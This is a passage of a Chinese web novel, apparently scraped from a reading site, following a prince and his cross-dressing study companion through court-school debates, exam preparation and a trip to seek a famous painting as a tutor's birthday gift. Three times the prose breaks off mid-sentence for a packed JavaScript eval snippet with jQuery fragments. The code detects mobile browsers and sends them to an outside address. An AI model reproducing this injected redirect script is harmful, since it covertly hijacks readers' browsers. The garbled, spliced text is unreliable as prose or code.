林翊有些懊恼,他不满叶青言这种将他当孩子哄的语气,却又无法说出真正的心意,只好自我安慰,诸葛亮对孟获还七擒七纵呢,他不着急的,他们来日方长。 嗯,来日方长! 日光清亮,一重风过,临窗外,有花瓣簌簌飞落,随风飘在两人身侧。 安静了片刻,林翊忍不住道:“阿言,你会一直相信我,一直在我身边的,对吗?” 叶青言侧着头,有些惊讶,但还是微笑着回道:“那是自然,我是殿下的伴读,只要殿下愿意,也永远会是殿下的好友。” 林翊看着叶青言眉目温和的模样,心中不由泛起淡淡的喜悦,紧随又涌上一丝莫名的失落,许多话到了嘴边,却又不知怎么说才好。 房间里变得有些安静。 “对了,昨日辩道会的辩题是什么?”叶青言突然问道,“昨天淮之兴致勃勃地说了薛越的事情,我都没来得及问。” 林翊愣了愣,当下也不再多想其他,收敛了心神回答:“人性本善还是人性本恶。” 叶青言微微挑眉:“哪个观点胜了?” “你猜呢?” 沉吟片刻,叶青言道:“人性本善。”分明是还需要确认的回答,叶青言却以笃定的语气讲出。 林翊不置可否。 二人随即相视而笑。 “阿言以为,人性是本善还是本恶?”沉默了片刻,林翊问道。 叶青言认真地想了一会儿,摇头:“我不知道。” 林翊惊讶极了:“我以为你会是坚定的人性本善派。” 叶青言微笑:“我不是,但我相信人性是向善的。” 话语落下,就见林翊面露不解,叶青言解释道:“殿下,向善与本善是不同的。” 林翊略一思索,便明白了叶青言的意思,说道:“我不认为人性本善,也不认为人性向善,人性最是经不起考验。” 他说这话的声音很懒散,神态也很随意,仿佛只是顺口一说。 “殿下此言偏颇了。”叶青言听了,立马反驳道,她的表情很严肃,语气也很认真,“人性未必本就善良,但至少有向善的一面,若否昨日在辩道赛上胜出的,就不会是人性本善。” 林翊挑眉:“又不是煎饼子,哪里来得这么多面,要不要再加个蛋?” 看得出林翊想要回避这个话题,但叶青言并不想这么揭过,于是继续说道:“既然昨日胜出的观点是人性本善,那说明殿下其实也是相信人性属善的,不是吗?” 林翊看着叶青言的眼睛,说道:“我昨日没有据理力争不是因为我相信人性本善,而是因为我不能让别人认为我赞同人性本恶。”林翊说着,耸了耸肩,“你知道的,处在我这个位置,总是要装模作样一番的。” 叶青言沉默了片刻,才道:“即便如此,殿下您终究还是认同了人性属良善,君子论迹不论心,论心世上无完人。” 林翊是认同人性属善的。 不知为何,叶青言特别执着于证明这一点。 许是被叶青言的情绪感染,林翊的态度不由得软和下来,道:“好吧,我是不认同人性本善,但我更不赞同人性本恶,人类是很有趣的一种生命,并不是单纯的善与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962932|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恶能可概括的。” 叶青言闻言笑了起来,眉眼弯弯,笑得很是高兴,似乎从林翊嘴里听到了什么了不得的事儿。 林翊见她这副模样,忍不住也笑了。 他的阿言,怎么能这么可爱? “你明日不必赶着早起,就照平常的时间起床,但不要在家里用早膳了,将用膳的时间空出来,早些进宫,到时陪我一起用。”林翊望着叶青言,说道。 叶青言知晓对方是为了自己着想,他是想让自己多睡一会儿,便点了点头:“好。” 林翊的眼睛一下子就亮了,笑嘻嘻道:“那你明早想吃些什么?” 叶青言想了想,说:“之前在您那儿尝过的一份什锦粥就很不错,里头的莲子吃着格外清甜甘香。” “成,明日就吃这个。”林翊高兴地说。 叶青言闻言扭头看了过来,有些不解地望着林翊满脸春风的样子,是想到什么好事了?怎么高兴成这样? 林翊确实很高兴,他很喜欢阿言这样自然地接受他的好意,有种两人很亲密的感觉。 “还有什么吗?”见人看着自己,林翊问道。 叶青言摇头:“其他的就殿下您来选吧,您的口味一贯没得挑。” “好。”林翊说。 之后两人便没有再说话。 春风继续入窗,依旧吹着桌上的书页与两人的衣摆。 叶青言见状,再次伸手将书本合上,并顺势拿起了自己面前的那本书,认认真真地看了起来。 林翊仔细考虑了几样吃食,待决定下来,抬眸,就见叶青言认真看书的模样,日光之下,身旁人的面容如罩珠玉之辉,笔墨难描。林翊专注地望了叶青言好一会儿,才偏头移开目光,也从桌上拿起一册书本,开始阅读。 讲堂里很安静,但并不显得沉闷,反而十分自然,就像先前他们的争论一般,遇到不同的观点,两个人便开始对话,然后结束对话,不需要刻意去做什么。 从叶青言成为林翊伴读的那一刻起,他们便时常见面。 见面之后时而交谈,时而争辩,时而笑闹,也时而像现在这样并排而坐,静静看书,没有言语。 这样的相处很愉快,愉快地令人不愿时间就此流逝。 但时间地流逝从不以人的意志为转移,不然这会儿林翊身边的时间,肯定会像石头一样坚硬。 时光终究还是在书页的翻动间溜走。 当第一个人走进讲堂的时候,林翊抬起了脸。 那人见林翊又一次早早地来到讲堂,很是吃了一惊,随即又看到了林翊身旁的叶青言,当下便明白了过来。 二殿下这两日的反常之举,原是为了叶思砚啊。 二殿下对身边人竟如此上心,那人很是叹服,对着林翊行礼的动作也不由变得郑重了几分。 来的这人是豫郡王林琦成之子林襄。 按辈分算,豫郡王之父是先帝的隔房堂叔,可以说,到了豫郡王这一代已与皇室无甚亲缘关系。 照理,林襄是没有资格进来南苑学宫的,但架不住豫郡王出息。 豫君王是林氏皇族里难得的有能之人,也是唯一一个以科举入仕的皇族,深受嘉和帝青睐,也是因此,林襄有了进来学宫学习的契机。 林翊对林襄点了点头,便又重新低下头去。 此时的林翊并不知晓自己在不经意间收买了人心。 之后又陆续有人到来,讲堂里慢慢变得热闹起来。 昨日没有谢夫子的课,荀夫子也难得的没有布置归家作业。不用赶作业的沈昭今日来的特别晚,他是踩着第一道课钟声进的讲堂。 鸣钟第一道便是要预备上课了。 沈昭大喇喇地到位置上坐下,非常自豪地说道:“踩点成功!我这时间掐的,也是没谁了!” 林翊转头凉凉扫了他一眼。 沈昭被这一眼看得心慌,正想出言解释,就听叶青言咳了一声。 两人立马坐正,谢夫子刚好这时走了进来。 20. 和而不同 午休时分。 因为腿伤的缘故,叶青言没有随众人一起去往花厅用膳。 经过夫子的首肯,她的午膳,由侍童们提着,送进了讲堂旁侧的偏厅里。 连带着林翊的一起。 沈昭本也想留下一起用膳,可偏厅里的冰盆刚刚摆上,内里热意未散,林翊只稍稍一提,沈昭便打消了一起留下的念头。 没办法,谁让沈小侯爷最是怕热呢。 偏厅背光,屋外种有大片绿植,只需开窗,让风进来,热气便会随之散去。 屋外阳光炽烈,叶青言和林翊坐在微凉的地板上用饭。 清炒蕹菜、酱排骨、荔枝肉、红烧鳜鱼,此外还有几碟摆盘精致的凉菜,两碗白生生的粳米饭,和一碟五颜六色的冰镇水果,看着十分丰盛。 饭菜的味道很好,少年人又不经饿,经过一上午的课业,他们早饿得前胸贴后背,此时举箸而食,一时都顾不上说话。 直到饭尽菜无,两人才有了说话的余暇。 他们轻声交流着今早课堂上的内容和自己的一些观念。 窗外突得有阴影快速闪过。 林翊自幼习武,很轻易就能从外边响动的脚步声里判断出附近经过的人数,以及他们突然停下的脚步。林翊不着痕迹地往其中一个方向扫了一眼,眼角余光瞥见为首的那人是李元柏,长富公主之孙,其父李盛,乃翰林院掌院学士,朝廷的从二品大官。 李元柏身后还跟着三个与他交好的同窗,其中就有林襄。 这几人都是学宫里的中立派,他们的父辈在朝堂上也都保持着中立,是可以拉拢的一股力量。 几乎是瞬间,林翊就有了决断,他无声地与叶青言对视,而后朗声说道:“君子和而不流……这些个圣人所说的圣言,总是太过虚空,而显得脱离实际。” “殿下不赞同此点?” 林翊没有回答,而是道:“人是群居动物,尤其是身处官场之中,要在人声鼎沸的环境里做到和而不流,难。” 叶青言斟酌片刻,问道:“听殿下此言,您似乎并不如何厌恶底下的朝臣结党。” 林翊挑眉:“我为何要厌恶?” 叶青言笑了一下:“君子不党,结党历来被皇家视为大忌,偏您接受得这么坦然。” 林翊也跟着一笑:“因为不可避免,正如我前面所说的,人是群居动物,历代帝王之所以厌恶结党,是担心底下的人沆瀣一气,继而妨害到帝位。可古往今来,但凡做了实事的名臣,哪个不党?无论奸臣能臣,无党都不能成事,那些自命清高的人,品行再好充其量也只能做个清官,成不了能臣,而一个国家要长久治安的走下去,靠的不是清官,是能臣干吏。” 叶青言显然也很认同林翊的话,说道:“我亦如此认为,结党本身,并无好坏善恶之分,区别只在人心。” 林翊又笑了起来:“这样的交流,让我想起我们曾经的一个讨论,一个有能力的贪官与一个无能的清官,到底哪个对国家对百姓更好。” 叶青言抿唇微笑:“我记得殿下您当时的说法是,贪官未必就不是干吏,清官也未必就能造福百姓。” 林翊点头:“如今我也依旧这样认为,因为皇室曾经的奢靡之风,如今的好些官员都以清廉为荣,在他们看来,事可以不做,但名声绝不能沾污,可当官,特别是父母官,并不是不作为,一味地追求清廉,就是好的。” “殿下此言,可谓标新立异,若是传了出去,只怕于您的名声有碍。” “那阿言会传出去吗?” 叶青言轻轻瞟了林翊一眼,没有回答,而是拿银叉,叉起果盘里的一块水果,慢慢地吃了起来。 林翊笑着看她,一会儿,再道:“我也不是觉得有能力的贪官就可以随意姑息,只是认为评价一个人是否是好官,要看他对国家对百姓的贡献,而不是仅凭其一时的错处。当然,若有人切实危害到百姓的利益,不论是何原因,我也绝不姑息。” …… 在这场谈话里,无论是林翊还是叶青言,都表现得很冷静很沉着,但事实上他们都还只是南苑学宫里的学生,无论他们再如何侃侃而谈,言辞锋利,也对如今的朝局没有任何影响。 却能影响即将进入朝堂的另一批人。 林翊与叶青言刚才的交谈,透露出了一个信息。 二皇子并不厌恶底下的人抱团,也不会仅凭一时的错误,就全盘否定一个人所有的成就。 对于李元柏这等勋贵子弟而言,仅后一条,就是保障。 作为皇亲,他们有资源、有人脉,缺得就是犯错后一个可以重新再来的机会。 当然,这不是说他们一定就会犯错,可既有退路留下,谁又会嫌多余呢? 毕竟谁也不能保证自己以后走了官场,就一定不会犯错。 二殿下或许会是个好人选…… 临窗外有一口水缸,下面养着鱼,上面则栽着睡莲,莲花只开了一朵,莲叶也只有巴掌大,油亮亮的,绿得特别浓郁。 水缸里,正准备吞食落花的游鱼突然扎到了缸底,溅起一阵小小的水花,鱼儿对周围的环境变化最是敏感。 是躲在暗处的几人离开了。 林翊又同叶青言对视了一眼,二人无声地勾起嘴角,之后便没再继续这个话题。 叶青言吃着水果,忽然想到了一件事情,说道:“对了殿下,有一件事我一直没来得及知会您。”叶青言说着,放下手中的银叉,笑容微敛,认真再道,“今年的秋闱,我会下场,若是中了举人,来年的春闱,我也会参加。” 林翊听罢,没有表现出半点吃惊的神态,他叉起一块红艳艳的西瓜放进了嘴里,含糊道:“我猜到了。” 叶青言错愕眨眼,猜到了?怎么猜到的? 林翊慢条斯理地嚼着嘴里的西瓜,他其实并不爱吃水果,尤其是西瓜、甜瓜之流,可刚刚看阿言小嘴一动一动的,竟觉得这水果……有点馋人,于是忍不住也吃了起来。 嗯,确实挺甜。 林翊不由又尝了一块,抬眸,见叶青言满脸疑惑地看着自己,笑着解释道:“我昨日在你的院里看到了好些往年科考的卷子,就猜到了。” 原是如此,叶青言了然,也不再多言。 两人继续分食着盘子里的水果。 待用完水果,起身吩咐侍童进来收拾了碗碟,时间便到了午后。 一壶清茶摆在中央,屋里的两人依旧席地而坐。 学宫里的景色很好。 绿树成茵,溪水九曲,夏花灿烂,坐在落地窗畔,看着这些美丽的画面,只觉吹拂而过的微风都天然加带着香气,闻着直生醉意,欲眠。 林翊喝了口茶,说道:“你早些参加科考也好,等翻了年你就十六了,咱们庆朝最年轻的进士是宣德年间的朱启友,他中榜时年仅十七,等来年阿言你春闱上榜,便能取代他成为我大庆朝最年轻的进士。” 叶青言闻言失笑:“您对我也太有信心了,万一我落榜了呢?” “你不会。”林翊说得肯定,想了想,他又道,“我们一定会成为庆朝开国以来最强的一对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968399|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 君臣。” 这话林翊说得小声,却有着不容置疑的肯定,言语之间,隐约可见其卑睨天下的气度。 叶青言是真得被惊到了,她大睁着眼睛,直愣愣地看着林翊。 林翊仿佛看不到她的惊讶,微挑起眼,意气风发道:“我们还年轻,未来有千万种可能,自然要朝着最难实现的那一种努力,有用之身,总要用来做些有用之事,无论是为了天下黎民,还是为了自身抱负。” 叶青言定定望着林翊。 日头渐渐向西,盛大的阳光被窗扇阻隔,对方侧脸英挺,半在明处,半在影中,半明半暗的光芒模糊了他青涩的边界,渐渐有了成熟温柔的况味。 “殿下此言,发人深省,思砚受教。”叶青言双手抵额,缓缓拜倒在乌黑的木地板上。 日光清丽,偶有凉风穿堂而过。 林翊怔了一瞬,待回过了神,赶忙抬手将人扶起,看着对方那发自内心的钦佩眼神,林翊忍不住抓住了叶青言的手,身子也不由自主地往前靠了靠。 “你我之间,何须如此。” 这话林翊说得很认真,所以叶青言也前所未有的认真了起来,一时之间,她竟不知该说些什么,想了半天,道:“谢谢您。” 谢谢您的搀扶, 也谢谢您的信任。 林翊没有马上松开握着叶青言的手,笑道:“都说了你我之间不必如此,你竟还这般客气,实在该罚。” “那殿下打算怎么罚我?” 说完这句话,叶青言不由笑了起来。 林翊也笑了起来,很是开心,他觉得跟阿言在一起很容易开心,这真是很好的一件事情。 “唔……那就罚你下学后给我煮茶吧。”林翊说道。 叶青言泡茶的手艺很好,而要看一壶茶的茶味如何,除了茶叶本身的材质,最重要的便是煮茶人的手艺。 “成。”叶青言笑着答应。 这期间林翊一直抓着叶青言的手没放,他细细地观察着叶青言脸上的表情变化,发现他对自己一直握着他手的这件事没有任何反感,特别是在看到他嘴角微弯的模样时,林翊陡然松了一口气。 又握了片刻,林翊才恋恋不舍地松开掌中骨节分明的手。 不急不急,慢慢来。 林风轻拂,有落叶飘进屋里,围着茶壶与两个茶杯轻轻打转。 两人之后又说了别的一些事情。 大都是与学业和科考相关的话题。 林翊还特意去叶青言的书袋里取了他近日所作的文章来一起讨论。 叶青言一直有在书袋里带文章的习惯,用以向夫子们赐教。 林翊看完文章赞叹道:“每次读阿言你的文章都让人神清气爽,耳目一新。” 叶青言笑道:“殿下休要如此捧杀我。” “我绝无此意。”林翊认真道,“文风秀正,见解独到,笔法直接了当,这样的文章,若叫我来写,我是决计写不出来的。” 叶青言:“寸有所长罢了,殿下的巧思与犀利也是我所不能及的。” 林翊挑了挑眉,一会儿,他想起了一件事件,说道:“我近日闲暇,对读了新旧版的《大庆律法》,发现有不少改动的地方,虽只动了寥寥几字,意义却大有不同,你之后兴许能用得上,待我做好批注,就让人给你送去。” 叶青言也不扭捏,点了点头:“多谢殿下。” 时间,在两人的轻声交谈里飞快地流逝,外边的讲堂慢慢又变得热闹了起来。 午后的课程很快就又要开始了。 21. 自作多情 这日散学后。 庆宁宫里,林翊与叶青言相对而坐。 在他们中间,摆着一本书和一册画。 书是谢夫子给的。 画本则是荀夫子所赠。 两位夫子在叶青言告知他们,要下场参加今岁的秋闱时,分别赠了此二物给她。 谢夫子直接给了东西,一句勉力的话也没有多说,只让叶青言拿回去自行观摩。 荀夫子递了画本后,倒是说了一段话给叶青言。 他道:“天下学问,并非只有字句,你且观此画册,再结合平日所见,感悟画中意境,若有不明之处,尽可以来寻夫子我。” 叶青言行礼谢过两位夫子,之后便随同林翊一起来了庆宁宫。 夏日的天色暗的晚,已是申时,天光依旧亮堂。 幔布随着晚风轻摇,叶青言和林翊坐在宽阔的阁楼里,视线不约而同都落在了面前的书画本上。 叶青言首先拿起谢夫子所给的书册翻开。 扉页赫然写着八个字。 “书读百遍,其义自见。” 空白的扉页上,只有这八个浓墨大字,异常清晰,看笔迹乃谢夫子亲手所写。 再翻一页,便见其中内容。书页的左边是历届一甲进士的文章,右边则是谢夫子的朱笔圈解,文章精妙何在,一目了然。 叶青言只略略一翻,便明白了这一册书本的珍贵。 林翊自然也看到了书上的内容,他道:“谢夫子是真得看中你,不过也可以预见,在我们这一批人里,估计也只有你和林襄会报名参加科考,而你中举的希望更大。” 叶青言闻言,笑笑未语,她小心翼翼地放下书本,随之又拿起画本翻开。 这是本关于游历的画册,上面记录了很多风景和见闻,无论是山水还是市井,皆画得栩栩如生,除此之外,旁侧还提有小字,记录了画者是在何地因何事作下的此画。 “都说读万卷书不如行万里路,我早前还不理解荀夫子赠你画本之意,如此一看倒是明了了。”率先开口的人还是林翊。 叶青言放下画本,两之与书本摆在一起,郑重道:“两位夫子如此用心相待,我定好好温习,待到秋闱之时,名登桂榜,方算不负他们的一番好意。” 林翊挑了挑眉,伸手将画本翻开:“那就直接开始吧。” 叶青言怔住:“现在?” “现在。”林翊点头,笑问,“我同你一起探讨,不好吗?” 叶青言顿了一瞬,随即也笑了起来:“有殿下相助自是最好。” 交换学问,本就是叶青言和林翊平日常做之事,所以叶青言也没有扭捏,刚刚那一瞬的惊讶,只是没有想到会是现在,毕竟时间已然不早了,她还得赶在戌时宫门下钥之前出宫。 此时距离戌时三刻,也还有一小段时间。 不再考虑其他,两人一如往常地凑在一起讨论。 林翊善从大处入手,见解犀利,叶青言则善于从细微处着手,见解虽不如林翊犀利,但胜在蕴意清正。 科举考的是八股,八股文的起承转合,从破题开始,林翊思维敏捷,总有自己的独到见解,这对破题很有帮助,若能从他身上学个一分半分,于叶青言而言,亦是极好。 两人对着画本的第一幅画像进行了深刻的探讨。 不知不觉天色暗了下来。 膳房提早送来了膳食,这是林翊特别交代过的,他留叶青言一起用了晚饭。 饭桌之上,两人的讨论仍在继续。 金乌西垂,天色渐晚。 待叶青言从庆宁宫出来,已是戌时。 赶在宫门彻底下钥之前,张德顺备下轿辇亲自将叶青言送出皇城。 国公府的马车已在翰林门外等候多时。 亲手将叶青言扶上马车,再笑着目送车子驶离,直到国公府的马车消失在前方拐角,张德顺才转身回去复命。 马车里,叶青言正闭着眼睛靠在车厢壁上假寐。 远山见状,张了张嘴,但到底还是什么也没说,都已经这个点了,少爷定是在二殿下宫里用过饭了。 这么想着,远山咽了口唾沫,视线也不由自主地飘向车厢侧边的暗格里,那里面装着望舒姑娘给少爷带路上吃的零嘴,都是望舒姑娘亲手准备的。 望舒姑娘的手艺极好,这一点除了叶青言,最有发言权的就属远山和外头的车夫。 作为叶青言的贴身小厮,往常叶青言在车里享用吃食时,都会赏他和车夫一人各一份,若哪一日少爷没有动车厢里的吃食,下车前也都会告知他处理,处理的结果自然是进了他和车夫的肚子。 远山偷偷看了眼叶青言,见她依旧闭着眼睛,这才放松下来,盯着暗格的目光也越发直勾勾起来,他记得望舒姑娘今儿准备的是肉饼子,对方交给他时,他还闻到了肉香味儿。 想到那浓郁的香味,远山不觉又吞了口唾沫。 这真不怪他,他是真饿了,一直在外面等着少爷出来,他都还没用过晚饭。 马车缓缓向前驶着。 叶青言一直闭着眼睛,直到车辆驶出皇宫地界,才睁开双眼,对远山道:“里面的吃食你拿去同徐伯分了,先垫一垫肚子。” 徐伯就是外边赶马的车夫。 “小的们还不饿。”远山挠着头,嘿嘿笑道,“我们等回府了再吃。” 可话才说完,肚子就不争气地叫了起来。 远山:“……” 叶青言好笑地摆了摆手:“出去同徐伯一起吃吧,记得避着点人,别被看到了。” “谢少爷赏!” 事已至此,远山也不再拒绝,兴高采烈地点了点头。他能看出来少爷这会儿的心情很好,即使少爷脸上的表情与往常并无不同。 难得见少爷这样高兴,也不知他都跟二殿下说了什么。 远山一边琢磨,一边飞快地打开车厢侧边的暗格,把用油纸包好的肉饼取出来,而后掀帘走了出去。 国公府朱红的大门前。 叶青言虽显艰难,但依旧平稳地下了马车。 等候在大门处的一名小厮见叶青言回府,立马指挥着一顶无盖小轿上前,龇着一口大白牙对叶青言道:“大少爷您总算回来了,让奴才们抬您回去院子吧。” 叶青言惊讶地看着那一顶小轿。 那小厮见状,立马弓着腰解释道:“这是夫人昨儿个特意命人赶制了送来的,好方便大少爷您在府里走动。” 叶青言闻言,置于身侧的手指微微一蜷,脸上的神情也不由自主地带上了柔和。 母亲到底还是心疼她的…… 这么想着,叶青言不觉抿着唇笑了起来,随后坐上小轿,由轿夫抬着往府里走去。 此时天已入夜,皎白的月色与廊庑下悬挂的灯盏呼应,交织出一片昏黄的光。 叶青言对抬轿的小厮们道:“先去怡然居。” “是。”小厮们齐齐应声。 看出叶青言的心情不错,在旁领路的小厮也不拘着,大着胆子问道:“这轿子,大少爷您坐着可还觉得行?” 叶青言点头:“极好。”顿了顿,又道,“你们有心了。” 小厮嘿嘿笑了两声,说道:“那奴才等会儿就去给二夫人交差。” 有了大少爷这一句话,他们定能领到不少赏钱,这么想着,那小厮咧开嘴乐得见牙不见眼。 “二夫人?”叶青言一怔,随即坐直了身子,“这小轿是二婶命人备的?” “自然,我们二夫人的娘家兄长正好也有涉及木匠生意,不然哪能这么快就将轿子送来。”那小厮完全没有看出叶青言的异样,颇有些自豪说道。 这个小厮是张氏从娘家带来的陪嫁下人,因着二夫人的商户出身,他们这些下人在国公府的地位不高,此番能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975489|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在大少爷跟前表现,小厮自然不留余力,他叭叭叭又说了好些二夫人娘家的生意。 远山听着觉得有趣,不时应上几句,那小厮便说得更卖力了。 两人的交谈,叶青言一个字也没有听进耳朵里,她怔怔然坐着,本微微上翘的嘴角此时也闷闷地压了下来。 原来并不是母亲给安排的轿子。 也是,大房的人从来都是唤她少爷,又何时叫过她大少爷?走了一路,自己竟一直没有发现。 叶青言心下自嘲,胸口处闷得厉害,仿佛有山压顶而至。 灯笼微摇,光线昏暗。 小轿抬了多时,此时已行至怡然居附近,越往前走,光线越亮。 身侧静寂无人,远处却隐有笑声传来。 叶青言抬眼望去,只见数十丈外的那座院子,灯火通明,即便还看不到里边,也能想见其间的热闹。 这样的亮光……应该是欢姐儿正在母亲的院子里。 叶青欢怕黑,每到夜晚,就会将自己所在院子的灯都点上,有她在的地方,总是灯火通明,亮若白昼。 看着前方那座灯火通明的院子,叶青言的心头闪过无数个念头。 她突然感到很累。 “停轿。”叶青言道。 正往前走的小厮们闻声,诧异地停住了脚步,因为停止的动作不一致,轿子还往旁边歪了歪。 “少爷!”远山飞快上前,抬手稳住轿子。 领路的那小厮也惊了一惊,慌张问道:“大少爷您没事吧!” 叶青言摆了摆手:“我没事,就是突然想起还有件急事未做,你们先送我回穿云院。” 抬轿的小厮们面面相觑,脸上都是后怕的惶恐,听罢也不敢多言,当下转道去了穿云院,只是抬轿的动作变得越发小心起来。 那话多的领路小厮一时间也不敢再说其他。 四周寂静无声,只有风声从各个转角倏然出现又消失。 叶青言坐在轿子里,背后是怡然居通明的灯火,远处的璀璨灯火显得她的身影好生孤单。 远山跟在自家少爷身边,只觉得比起周遭的寂静,少爷身边的气氛仿若死寂了一般。 但回到穿云院的叶青言没有表现出任何不同。 她一如既往,温和又疏离,清秀的眉目在月色灯色地映衬下更显貌若好女,却并不让人觉得女气,她背脊挺直,别有一番青松之姿。 叶青言语气平和地给几个小厮赐了赏,又让那领路的小厮给二夫人带去谢意,称今儿天色已晚,改明日她再亲自过去表谢。 那小厮听罢,知晓叶青言并未因刚才的意外责怪他们,心神一松,又恢复了早前讨巧的模样,连称大少爷实在客气,连连说了好些好话,才躬着身子告退。 读书,然后洗漱、睡觉,这依然是叶青言夜晚时间的主旋律。 科考在即她没有多余的时间来悲春伤秋。 志士惜日短,愁人方感夜漫长。 与其将时间浪费在无谓的情绪里,不如把它用在更有价值的地方。 之后的几日,叶青言每日早起进宫,除了日常上课,她还会向两位夫子请教做文章的经验。两位夫子都是科举出身,很清楚哪些方面对叶青言考试有用,纷纷倾囊相授。 除此以外,叶青言也会与二殿下探讨时政,以了解朝中有哪些大事引发了众议,文武群臣对此又有什么见解等等。 这些认知对于叶青言应答策问大有助益,短短半月,叶青言就觉得自己的文章提升了不少,但她不敢懈怠,依旧每日勤学。 每日定好时辰苦读书卷、苦练文章,叶青言的日子过得飞快又充实,腿上的伤势也在勤学苦读中日渐好转。 在叶青言能下地行走的当天,便让远山将那轿子给打发了。 那天晚上的伤怀很快便被她抛在脑后。 但也只是抛在了脑后,并未遗忘。 22. 云山求画 日子飞快地往前挪着,七夕过去,中元过去,眼看就要到了谢夫子生辰日。 七月十九。 这日散学,林翊突然对叶青言说:“明日旬假,我出宫寻你,到时你陪我去一个地方。” “殿下是要去何处?”叶青言问。 林翊没有回答,反而故作神秘道:“到时候你就知道了。” 叶青言狐疑,虽觉疑惑,但也还是点头应下。 第二天清晨,毒辣辣的太阳还没有出来,林翊就已经出宫接上叶青言,并在几名护卫地护送下,乘坐马车驶出京城,来到京郊。 京郊外有座云山,云山腰上有座道观,观名曰清风。 当代著名的作画大家荀敏道人就归隐在此道观之中。 当然,这并非人尽皆知之事,而是经林翊派人几番探查后方得知的结果。 林翊今次要带叶青言去的地方正是云山上的清风观。 众所周知的,荀敏道人不仅是当世著名的作画大家,还是出了名的画作收藏家,且尤爱收集山水画作。 传闻顾恺之的《庐山会图》就在他的手中。 林翊派出的暗卫已证实了这个传闻,他此行的目的就是要从荀敏道人的手中拿到《庐山会图》。 此事本不用林翊亲来。 即便荀敏道人是个脾气古怪的小老头,金钱权贵皆不放在眼里,也无法拒绝当朝皇子的要求。 林翊之所以亲自走这一趟,自是为了同行的叶青言。 谢老夫子的生辰宴就在明晚,而这幅《庐山会图》,便是林翊特地为叶青言寻来的寿礼。 林翊自认自己足够了解叶青言,他深知自己若是直接将画卷交给阿言,她定受之有愧,与其如此,不如让阿言亲自来求此画。 同时,也能带她出来走走,呼吸呼吸新鲜空气,可谓一举两得。 过来的马车上,林翊也将此行的目的告知给了叶青言。 叶青言听了很是惊喜,她这一阵子深得两位夫子教诲,若能赠谢夫子心仪之物做贺礼自是最好。 “荀敏道人性情古怪,要想从他手上拿到画作,实非易事,你可有想到法子说服他让出画卷?”眼见道观就在眼前,林翊笑着问叶青言道。 叶青言:“若是其他画作,我不敢断言,但是《庐山会图》,我有七成的把握可以拿到。” “哦?”林翊好奇扬眉。 叶青言一笑:“不论成与不成,总要试上一试。” “那我便拭目以待了。” 道观门口,叶青言与林翊请见荀敏道人,却被小道童告知荀敏道人一早就提着竹篓长竿出去钓鱼,此时并不在观中。 叶青言向小道童问询了附近钓鱼的地点后,便随同林翊离开了。 两人沿着人工开出的小道,一路往前。 日头渐渐升起,橙红的太阳悬在青山坳里,仿若静浮半空的金色圆盘,有风拂过,不知名的树木在头顶沙沙作响。 “真是美啊。”叶青言望着眼前这壮丽的美景,感叹道。 看着对方有些发亮的双眼,林翊心中一动,笑道:“是很不错,但这儿还不是京城看日出的最佳地方。” 叶青言转头看向林翊,眼里带着点儿好奇。 林翊嘴角含笑,缓缓道:“京城最适合看朝阳的地方在邙山,邙山脚下有条湖,太阳升起的时候,山林与湖水呼应,瑰丽的霞光随着水波一直荡漾到邙山山脚,再顺着林木一路摇曳蔓延至山巅,水波粼粼、山林灿灿,极是壮观。” 叶青言眼里的好奇更甚了,问道:“您是怎么知道的?” 不知想到了什么,林翊脸上的笑容淡了一些:“我小时候同父皇母后一起去看过一次,那时长姐也还在。” 时至今日,物是人非。 叶青言听罢沉默,但这个时候的沉默显然并不那么合乎时宜。 叶青言看着林翊微沉的脸颊,说道:“您都觉得风景好的地方,定然极好,我真想现在就去看看。” “等下回旬假,我便带你去那儿看日出。”林翊看着叶青言说。 叶青言本就是不想对方继续沉浸在负面情绪里才这样说的,此时闻言,自然不会拒绝,点头道:“好,下回我们一起去看。” 顿了顿,叶青言又说:“届时叫上淮之一起。” 林翊闻言,脸色顿时变得有些难看:“邙山离得远,大清早的,他可起不来。” 叶青言想了想,笑了:“也是,那还是咱们俩自己去吧。” “嗯,咱们自己去。”林翊特别喜欢从叶青言嘴里说出的咱们两字,显得很亲密。 两人隔得极近,近到叶青言能清楚地看到林翊明亮的黑瞳里所倒映着的,自己的脸。 殿下似乎很高兴…… 叶青言不解,但也还是被对方眼里那极为单纯的欢喜所感染,一股喜悦之情从内心深处涌出。 两人继续向前,走出不远,便与一手提竹篓,头戴斗笠的老者狭路相逢。 此人正是钓鱼归来的荀敏道人。 林翊不动声色地同叶青言对视了一眼。 叶青言会意颔首。 